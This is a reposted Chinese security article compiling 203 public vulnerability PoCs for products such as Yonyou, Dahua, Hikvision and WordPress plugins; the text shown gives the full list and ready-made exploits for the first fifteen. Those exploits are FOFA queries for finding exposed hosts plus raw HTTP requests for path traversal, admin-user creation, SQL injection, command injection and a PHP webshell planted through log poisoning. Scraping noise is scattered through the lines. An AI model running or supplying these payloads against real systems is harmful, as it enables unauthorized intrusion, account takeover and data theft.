互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
! a& x+ ?9 t. \* R% l以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

! I- ?% |% P/ t漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
' Z2 B8 _0 ^* N% H, e
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
7 ~" i! ~* G& _+ [( U5 m0 U
8 r( D$ ^1 {# k. C+ x' `: T
3 `, W4 d1 J: Z" S; m4 E7 h6 P2 k$ d声明
" ^+ {. g- j) b0 h/ h: {( W, q
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

6 G; l; w# H' D# o" g$ T& E5 U有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

2 l  `9 \* g# |. }% ?

3 r: Q5 W( k1 e. W7 [- k, I$ {& v目录
# t9 }' _( c8 a$ r2 \
01

6 C  H% R. T, p9 J1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
! C# s5 v( g* C. x! j- w3. EasyCVR智能边缘网关 userlist 信息泄漏
0 s* l  S! ~( W/ X0 k' s4. EasyCVR视频管理平台存在任意用户添加
5 h& i3 ~: c% Z: @" d2 P5. NUUO NVR 视频存储管理设备远程命令执行
  R! W. n! `$ v, Q6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
; `$ D2 Z5 U$ e* |9. 稻壳CMS keyword 未授权SQL注入
( ]. d' P; S5 Y8 ~10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
0 ]5 L1 G' q+ @3 `12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
2 E  d  P+ R. L- C+ S- }& K15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
8 l5 _1 i# S. K7 K6 p6 @, C" [, N17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
/ |" j6 d8 E; C, A. b1 D: e: w19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
8 i: I; c" H& _; i- G( T20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
# o- H: o% A8 ]0 \8 h3 E+ L. y22. 大华ICC智能物联综合管理平台 log4j远程代码执行
$ p  W5 G* j$ j23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
1 S( y, C( r0 h( p; w, M9 V3 o: T* a26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
. Q: s  s! S: r1 L5 r0 ]32. 用友NC complainbilldetail SQL注入
( n9 B1 r) E. i  E& v' _9 X6 ]33. 用友NC downTax/download SQL注入
6 l! @: i% O! `: c: L0 L: L34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
8 ]/ }3 y/ L6 a36. 用友NC-Cloud soapFormat XXE
7 n2 ~! e5 o( ]+ _  l0 a$ ~/ l. g37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
) ?. \6 h! Y  U, a5 X39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
1 E0 r' @- }2 t  W, P- _- K1 p42. 用友GRP-U8 SmartUpload01 文件上传
' ?. A# ]# h# x6 s, ?43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
' x: _" c( A' q) n45. 用友GRP-U8 ufgovbank XXE
/ G) Z3 v+ N, a; X, ^46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
8 h# C0 q: K. Q* ~; t6 s50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
- E) U3 }; a3 B( W& a2 ^. s  T52. 泛微E-Office json_common.php sql注入
, b2 u& S4 v/ e# w& y& `- v53. 迪普 DPTech VPN Service 任意文件上传
! [1 y% Q5 ~7 M  w54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
7 [- [6 Z( B( ]7 X) R0 s: r2 |57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
3 q9 U# E& ?  {6 j0 f63. IP-guard WebServer任意文件读取
2 u& p# {3 @- C" {) Y0 X64. 捷诚管理信息系统CWSFinanceCommon SQL注入
- a! @1 ?2 L" ]( f7 r( p& A65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
% h% }+ |! b6 s7 D: Q4 R67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
/ K+ L1 ~2 u! G% {' I70. 万户ezEIP success 命令执行
; |# i0 K7 Q  L- ]71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
3 G4 ]$ k$ }4 }72. 致远OA getAjaxDataServlet XXE
/ D# @! O9 G7 |' t$ j7 {! ]73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
9 T( E: }6 Z% n0 y+ Y. z78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
9 `5 Y  Y6 y. `, q, ^79. BYTEVALUE 百为流控路由器远程命令执行
& S4 H9 ^* f' {/ z80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
% {3 ]4 e$ k7 L9 |! H" B* c) Z  t83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 @1 L. U3 Q  A5 h85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
0 c/ }% J; V" u9 A% d+ U; Y& x. F# u87. 安恒明御安全网关aaa_local_web_preview文件上传
( e2 t* Q  ~9 s/ h3 C4 c! M88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
& H6 C: Z* d+ [: J  h3 r3 o0 ?+ ]90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
* o, P. Q' H, M) p  @: `91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
+ h  ?* j- N& j92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
: q" m7 x3 N$ j8 Y) U95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
  J4 d# ~: y. [% Q, X9 L98. SpiderFlow爬虫平台远程命令执行
' u1 {3 b9 Y5 M0 Z99. Ncast盈可视高清智能录播系统busiFacade RCE
! i  j- ^4 }8 M* z+ `1 W- b4 s100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
( R  z" {% _; s& f/ U7 w' \102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
7 d/ T( S4 A! ~4 i( z5 r$ e106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
9 j' E( v1 i6 g% K8 ~109. Jenkins CLI 任意文件读取
; t+ O. z9 V6 Y6 a/ R110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
' j) r3 O4 T2 R112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
! `) i3 |% i4 |$ @+ S9 T114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
& g9 H9 i$ V) X) R116. wordpress js-support-ticket文件上传
3 S  R" O; J8 }* h9 x* ?8 b% y+ `117. WordPress LayerSlider插件SQL注入
% y: x; n# d2 h" V: G1 q118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
( Z* c( y! b7 p  L120. 北京百绰智能S40管理平台导入web.php任意文件上传
5 Z9 ?' [% T- n0 s) Y$ O121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
2 Q/ r8 ~8 R' h9 s123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
7 ?2 L+ c" V' c* f0 f% u125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
+ A; h8 Y3 z8 k" A5 g: T128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
/ [  I2 t( [8 _131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
( `1 |* h7 o& H/ Y+ {133. H5 云商城 file.php 文件上传
' U( S) r' ^% Q- J134. 网康NS-ASG应用安全网关index.php sql注入
" E: C" i* X7 e; t135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
7 o# [# V1 h3 t2 S& H) C4 i138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
* m: [9 U0 Z6 x# F- f139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
6 e+ c4 e" q+ I8 H: v' U# s141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
. ~3 q4 L$ a3 [, E142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
( E6 h+ ~  z" q2 R0 w4 `1 a, Z. ]144. D-Link nas_sharing.cgi 命令注入
4 Z. e! G) W0 c0 j145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
" V# Q  ?. T& M% h# L# w6 f8 d147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
" ]( |; Q' `1 h" Z9 E& _151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
" h# ?8 r+ r3 a+ I153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
+ s) }4 Y' w0 O' p& Q# n& }156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
2 l! S* s' D" C; Y% h161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
) a, d! {! ^- u. W8 t. q8 V: F! j163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
) p6 f9 X$ x; ~5 r2 c165. OrangeHRM 3.3.3 SQL 注入
7 q% g, a; w1 t- D- j9 j# B166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 _5 K7 X2 G; G5 O- C4 H171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
4 p5 Z3 c$ a6 _- F# H: Z4 {( D173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
$ F% S- b( O* c5 ]178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 ]% `" j0 g/ C" L! _3 d179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
8 X" J' e; F9 O$ q181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
- \, {1 E; i  F; g( l; ?182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 N4 s1 Z, e" q- [1 }9 s191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
3 s0 Z# g; a5 v3 K, b' p- |192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
5 e* M  e' k) I/ E, F9 x/ y193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
8 y1 k  i  ~  I1 y% |9 M) ]8 e) x195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
& o) T, Y% Y& z8 H197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
# \3 e2 S7 x3 S* Q6 K4 Z' S" g200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
9 d" P. v( J$ |1 x- r, W202. 微擎系统 AccountEdit任意文件上传
' ^( W0 s+ Y$ U  d203. 红海云EHR PtFjk 文件上传
1 s7 W; k& c8 `8 x& f/ B
POC列表
4 s/ o7 r  r/ u4 W/ J" F3 d  G
02
3 I; [, q/ M) t
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
- ?5 R& @1 ^$ `/ U" W% r- oGET /mem_tracker HTTP/1.1
2 Q* h, {) f4 T% A2 _0 ]9 M) x7 ?" sHost: URL
+ ^  W# r1 E4 @' B7 b6 N" f9 p: O
' K7 U, Y6 o7 D" \+ T8 x4 A0 B
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
0 N* }- t( R6 X6 M  V; AGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; L  k& r) [. ]8 eConnection: close
! G1 D; B" h2 l# l7 SAccept: */*
Accept-Language: en
Accept-Encoding: gzip
& L  [3 @$ U6 V% s! q/ E$ j$ f
7 G) a5 O+ p: j' C6 R
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
6 J; U- u3 ~+ [4 BHost: xx.xx.xx.xx
; Y# N0 ^: L/ f* e1 J5 k
* \/ J+ S3 a( F! I: Y
4. EasyCVR视频管理平台存在任意用户添加
7 w1 t$ u2 M% r1 g9 uFOFA ：title="EasyCVR"
9 b: p6 Z7 E& {$ d" k
4 {+ n% T) F; I0 ?* v" \password更改为自己的密码md5
" Y/ M6 O7 g' Z  S1 dPOST /api/v1/adduser HTTP/1.1
Host: your-ip
$ x3 S- h- i) X: p* b; U" rContent-Type: application/x-www-form-urlencoded; charset=UTF-8

4 s: n' q( W. h, Z% z  {& ]" Aname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
1 _2 y) I5 h: {, f7 W
) N/ D+ M; ]7 P
5. NUUO NVR 视频存储管理设备远程命令执行
9 h2 t9 v) ^6 I3 o% A( j8 x" wFOFA：title="Network Video Recorder Login"
8 I7 ?, E. O* R) G6 Q; W2 d  UGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
& f4 W2 ~7 y7 W3 ~  o0 UHost: xx.xx.xx.xx
- \# r' d7 A& n0 A# h4 ]' U% b9 H

6. 深信服 NGAF 任意文件读取
1 z- x  ?9 f! B( l, l. m: n+ c$ G' EFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
6 @2 j/ ]4 _2 o+ a: Q( g

7. 鸿运主动安全监控云平台任意文件下载
# E' b& H' n* _4 l5 b! x$ ]) ?& c0 wFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
& Z, Y/ ~- l/ j% iHost:


6 q% ^" U* b6 A) Y8. 斐讯 Phicomm 路由器RCE
5 u5 v8 L) @. l  I9 \7 KFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
) g/ S" ?7 J* O6 r) s3 UPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
$ G( E' t' P, a+ C% H) eHost: x.x.x.x
; B5 A; ?( ]( e( B7 sCookie: sysauth=第一步登录获取的cookie
# U! w& O9 N! aContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
7 K+ I6 r$ J( t1 |( oUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
& C1 [4 A" Y5 ZContent-Disposition: form-data; name="wifiRebootEnablestatus"
8 j% h. n0 i8 s& O; t* J( X  D
$ u! E/ @( n: }%s
6 D* ^, T( c5 ?3 T( q6 R------WebKitFormBoundaryxbgjoytz
6 s% `9 t* x8 e% y: L: \. zContent-Disposition: form-data; name="wifiRebootrange"

7 y3 Z3 L4 i$ T. H) D+ Y12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
, g* ~5 z) N: y------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
+ F8 @2 `3 E$ i
& F8 m. ^/ Q; G
------WebKitFormBoundaryxbgjoytz--
! X5 L  A2 e0 q4 r0 L; V& O# X
$ N9 j1 v( V9 n
- \$ u- q! O" R& M4 E' \4 ]! p9. 稻壳CMS keyword 未授权SQL注入
0 V8 A7 u4 u5 Q, @% N5 XFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

( h9 E, @% T7 {, s) Z
/ e& a+ A0 y- Z3 v, Vpayload为下列语句的二次Url编码
& H: w6 z' Z& `4 h- j" |
: K, M0 _' |# R- N' C, B  ?" N' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
) E) ]) h3 W  D& l3 O. D6 B/ p' Z
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
5 g7 O+ E  Y% q; b6 B! n0 k2 O9 E. pFOFA：icon_hash="953405444"
# {0 I% N! J# Z1 |# w  M
文件上传后响应中包含上传文件的路径
, ]" k- V4 m/ t- u. A) S5 VPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
; [( a0 @3 p& G! G' GHost: x.x.x.x:xx
( g/ ^) o  V, \! q0 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
+ U2 U0 s) H4 V! AContent-Length: 197
8 k5 p, w8 t, u; ]: f/ ?. M& o! c( qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
9 j5 K2 E1 @/ B. L/ c+ E" h( DAccept-Language: zh-CN,zh;q=0.9
. W- f3 h( }' h4 r; a; E6 \Connection: close
, g6 v$ u$ W# o! I' m- ^, pContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
- a" X- @) K; R: v8 {# H
: _/ G7 i- _' w: C------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

6 Y- b( D8 E" j  G7 G" q' a) ?! Rjmnqjfdsupxgfidopeixbgsxbf
  v/ W2 R4 @. w, ]2 b% c$ l+ V. |------WebKitFormBoundaryxdgaqmqu--


% n6 n$ w& U) h! \- G11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
7 E4 g, ^: M1 _' _FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
. T1 P2 _1 ]/ X  L3 F. n2 H( oPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
+ P) `. x8 z$ j: x' `, W% OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  ~! l$ v: ]) W* B1 h5 f. \Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
! V/ g! G  R3 t0 i# N! H* |Connection: close
& \; m* [* p9 x. S* J
% H" Y; _+ }- D% I
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
+ C9 A9 P1 m9 u( r; N第一步先拿到cookie
GET /session/login HTTP/1.1
8 H! @* g2 h5 c* WHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
  T& r# O+ ?1 o* {Connection: close
Accept-Encoding: gzip
& {+ U9 K  B) G. j3 {" B

6 w% j2 e( L0 l2 i3 I响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
+ \4 _) u& b5 w. m+ K7 ]+ v- QConnection: close
  i4 B) J/ e$ f1 s" B6 _0 ZCache-Control: no-store, no-cache, must-revalidate
5 i" l" u3 a, A' T2 ?1 ZContent-Type: text/html; charset=UTF-8
' k8 [" q- l3 C& d2 [$ s: w+ a% J/ sDate: Tue, 24 Oct 2023 09:34:28 GMT
( h5 m  O3 j" j+ bExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
* _+ r3 t2 ?* T2 h5 F9 VSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
1 u4 d9 l: v- {

3 V( J0 Z+ D: d  f% jPOST请求，执行函数并进行base64编码
2 ^) s* P' _4 V6 e! x- F+ y1 SPOST /session/login HTTP/1.1
. m2 w  B, J+ j3 |+ V8 q: FHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
3 u# w% ]) S5 {, g+ m- e; wConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
; a( O3 V3 p3 [9 H3 x4 N+ C/ u' X3 kCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
/ d5 z1 R% Z. LAccept-Encoding: gzip
' ?0 J4 x: s5 T: M* ]6 d& V
, M% m: N: Z" K, H& e: w8 T& c0 ?$ hcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

2 D9 f8 p- E$ V& T* W

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
! S: Q, c; S; T0 `* J" m! t& V' Q4 LGET /pages/view/log-2023-10-24 HTTP/1.1
' T/ Q. {% [- T  i2 U) w. G. Q2 THost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 F6 r* s6 r9 b& G  L2 O2 bConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
2 C* ^  p1 e5 {2 I* K- Z9 w. PK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
1 k8 O5 Q& m4 ^$ f7 n; e$ B" VAccept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
# c* j- @) M/ ?; Y  mGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
% n" x  a2 o- G! EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
1 B# K  X& \4 A% J2 ^. tAccept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
3 e5 `8 X2 X% p+ r$ O, GFOFA：body="jshERP-boot"
0 j8 _) d) P3 k3 @1 G泄露内容包括用户名密码
+ I; Y' A! q7 ^" K! t5 u8 S% UGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
9 T& n: s6 y# D: l$ LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
& Y( n& z6 U# p4 T# x- ~- Q1 O+ HAccept-Encoding: gzip
. e" o% }" f6 Q. x1 n

15. 华夏ERP getAllList信息泄露
; P" C8 G" V2 N/ @* @CVE-2024-0490
FOFA：body="jshERP-boot"
2 F' m, v0 @4 m/ x# {泄露内容包括用户名密码
9 [) q1 n! J+ m. dGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
